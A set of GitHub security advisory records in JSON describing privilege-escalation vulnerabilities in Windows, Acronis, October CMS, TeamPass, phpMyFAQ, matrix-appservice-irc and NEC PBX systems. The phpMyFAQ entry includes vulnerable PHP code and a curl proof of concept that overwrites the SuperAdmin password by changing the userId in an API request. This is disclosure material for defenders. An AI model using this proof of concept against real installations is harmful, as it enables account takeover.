{
  "affected": [],
  "aliases": [
    "CVE-2020-1304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-09T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka \u0027Windows Runtime Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1231, CVE-2020-1233, CVE-2020-1235, CVE-2020-1265, CVE-2020-1282, CVE-2020-1306, CVE-2020-1334.",
  "id": "GHSA-xv63-cpgc-6g6c",
  "modified": "2022-05-24T17:19:58Z",
  "published": "2022-05-24T17:19:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1304"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/system"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/system"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-14T16:02:35Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "A vulnerability was identified in the Twig sandbox security policy that allowed a chained bypass when `cms.safe_mode` is enabled. The Laravel session store was exposed to Twig with unrestricted method access, and raw SQL methods reachable through Eloquent\u0027s `__call` forwarding were not blocked across the full builder chain. When combined, a backend user with CMS markup editing access could read arbitrary database values via raw SQL expressions and write to the backend authentication session key, forging a backend session as another existing user.\n\n**Scope of impact is narrow.** Safe Mode is a niche feature, primarily used for demo installations and multi-tenant or shared-editor scenarios where untrusted users are deliberately granted access to the CMS markup editor. Standard production deployments do not enable Safe Mode, because under normal October CMS guidance backend access - including markup editing - is restricted to trusted administrators, and direct PHP injection through markup is already possible without Safe Mode in that configuration.\n\n**This issue only affects sites that meet all of the following conditions:**\n- `cms.safe_mode` is enabled (a deliberate opt-in for demos or untrusted-editor scenarios)\n- The site has at least one backend user with CMS markup editing access who is not intended to be trusted as a full administrator\n- The site has at least one existing superuser account whose session the lower-privileged user can impersonate\n\n### Impact\n- Arbitrary read access to database tables, including superuser persistence codes from `backend_users`, via raw SQL expressions reachable through `Eloquent\\Model`, `Eloquent\\Builder`, or any allowlisted class that `__call`-forwards to a query builder\n- Forgery of a backend authentication session by writing to the `admin_auth` session key from a Twig template, allowing a markup editor to impersonate an existing superuser\n- Requires authenticated backend access with CMS markup editing permission AND `cms.safe_mode` enabled\n- Not exploitable when Safe Mode is disabled (direct PHP injection through markup is already possible in that configuration, so Safe Mode is the boundary this issue affects)\n\n### Patches\nThe vulnerability has been patched in v3.7.17 and v4.2.21. The Laravel session store is now wrapped in a proxy that exposes only an explicit subset of read/write methods and rejects writes to reserved session key prefixes (`admin_auth`, `october_auth`, `login_*`, `_token`, and other framework internals). Raw SQL and subquery methods (`selectRaw`, `whereRaw`, `orderByRaw`, `joinSub`, and related) are now blocked on `Query\\Builder`, `Eloquent\\Builder`, and `Eloquent\\Model` so the blocklist is consistent across the `__call` forwarding chain. All sites that enable `cms.safe_mode` are encouraged to upgrade to the latest patched version.\n\n### Workarounds\nIf upgrading immediately is not possible:\n- Restrict CMS markup editing access to fully trusted administrators only - the standard October CMS recommendation for any deployment\n- Note that disabling `cms.safe_mode` is **not** a workaround; Safe Mode is the boundary this issue affects, and disabling it removes the only sandbox between markup editors and the server\n\n### References\n- Reported by r00tn0b0dy",
  "id": "GHSA-xv9m-fm3w-8w5x",
  "modified": "2026-09-14T16:02:35Z",
  "published": "2026-09-14T16:02:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-xv9m-fm3w-8w5x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/octobercms/october"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "October CMS: Safe Mode Sandbox Bypass via Session Store and Forwarded Builder Calls"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-41743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "Local privilege escalation due to insecure driver communication port permissions. The following products are affected: Acronis Cyber Protect Home Office (Windows) before build 40173, Acronis Agent (Windows) before build 31637, Acronis Cyber Protect 15 (Windows) before build 35979.",
  "id": "GHSA-xv9r-2ff8-gxxc",
  "modified": "2023-08-31T18:30:28Z",
  "published": "2023-08-31T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41743"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/SEC-4858"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-5487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-16935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when Windows improperly handles COM object creation, aka \u0027Windows COM Server Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-16916.",
  "id": "GHSA-xvf4-x9j7-vf2f",
  "modified": "2023-12-31T21:30:23Z",
  "published": "2022-05-24T17:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16935"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16935"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-1002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-15T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An elevation of privilege vulnerability exists when the MpSigStub.exe for Defender allows file deletion in arbitrary locations.To exploit the vulnerability, an attacker would first have to log on to the system, aka \u0027Microsoft Defender Elevation of Privilege Vulnerability\u0027.",
  "id": "GHSA-xvh7-j354-hww5",
  "modified": "2022-05-24T17:14:36Z",
  "published": "2022-05-24T17:14:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1002"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-34461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-16T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability",
  "id": "GHSA-xvj3-85hj-4h72",
  "modified": "2026-08-10T18:30:50Z",
  "published": "2022-05-24T19:08:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34461"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34461"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34461"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "nilsteampassnet/teampass"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.27.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-15053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T22:28:27Z",
    "nvd_published_at": "2017-11-27T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "TeamPass before 2.1.27.9 does not properly enforce manager access control when requesting roles.queries.php. It is then possible for a manager user to modify any arbitrary roles within the application, or delete any arbitrary role. To exploit the vulnerability, an authenticated attacker must have the manager rights on the application, then tamper with the requests sent directly, for example by changing the \"id\" parameter when invoking \"delete_role\" on roles.queries.php.",
  "id": "GHSA-xvjf-394g-phrr",
  "modified": "2024-04-24T22:28:27Z",
  "published": "2022-05-13T01:43:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15053"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nilsteampassnet/TeamPass/commit/ef32e9c28b6ddc33cee8a25255bc8da54434af3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nilsteampassnet/TeamPass"
    },
    {
      "type": "WEB",
      "url": "http://blog.amossys.fr/teampass-multiple-cve-01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TeamPass Improper Privilege Management"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-269",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this-\u003euserHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n    $data = json_decode($request-\u003egetContent());\n    $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n        return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n    $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser-\u003echangePassword($newPassword)) {\n            return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n        return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d \u0027{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }\u0027 \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "id": "GHSA-xvp4-phqj-cjr3",
  "modified": "2026-05-28T14:19:40Z",
  "published": "2026-05-20T15:46:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: IDOR Account Takeover "
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "matrix-appservice-irc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.35.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-15T03:26:10Z",
    "nvd_published_at": "2022-09-13T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAttackers can specify a specific string of characters, which would confuse the bridge into combining an attacker-owned channel and an existing channel, allowing them to grant themselves permissions in the channel.\n\n### Patched\n\nThe vulnerability has been patched in matrix-appservice-irc 0.35.0.\n\n### Workarounds\n\nDisable dynamic channel joining via `dynamicChannels.enabled` to prevent users from joining new channels, which prevents any new channels being bridged outside of what is already bridged, and what is specified in the config.\n\n### References\n\n- https://matrix.org/blog/2022/09/13/security-release-of-matrix-appservice-irc-0-35-0-high-severity\n\n### Credits\n\nDiscovered and reported by [Val Lorentz](https://valentin-lorentz.fr/).\n\n### For more information\n\nIf you have any questions or comments about this advisory email us at [security@matrix.org](mailto:security@matrix.org).",
  "id": "GHSA-xvqg-mv25-rwvw",
  "modified": "2022-10-07T16:25:29Z",
  "published": "2022-09-15T03:26:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-irc/security/advisories/GHSA-xvqg-mv25-rwvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/matrix-appservice-irc"
    },
    {
      "type": "WEB",
      "url": "https://matrix.org/blog/2022/09/13/security-release-of-matrix-appservice-irc-0-35-0-high-severity"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parsing issue in matrix-org/node-irc leading to room takeovers"
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-20029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-29T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An exploitable privilege escalation vulnerability exists in the WebPro functionality of Aspire-derived NEC PBXes, including all versions of SV8100, SV9100, SL1100 and SL2100 devices. A specially crafted HTTP POST can cause privilege escalation resulting in a higher privileged account, including an undocumented developer level of access.",
  "id": "GHSA-xvv3-3j3q-vgxg",
  "modified": "2022-05-24T17:24:35Z",
  "published": "2022-05-24T17:24:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20029"
    },
    {
      "type": "WEB",
      "url": "https://shadytel.su/files/nec_cve.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}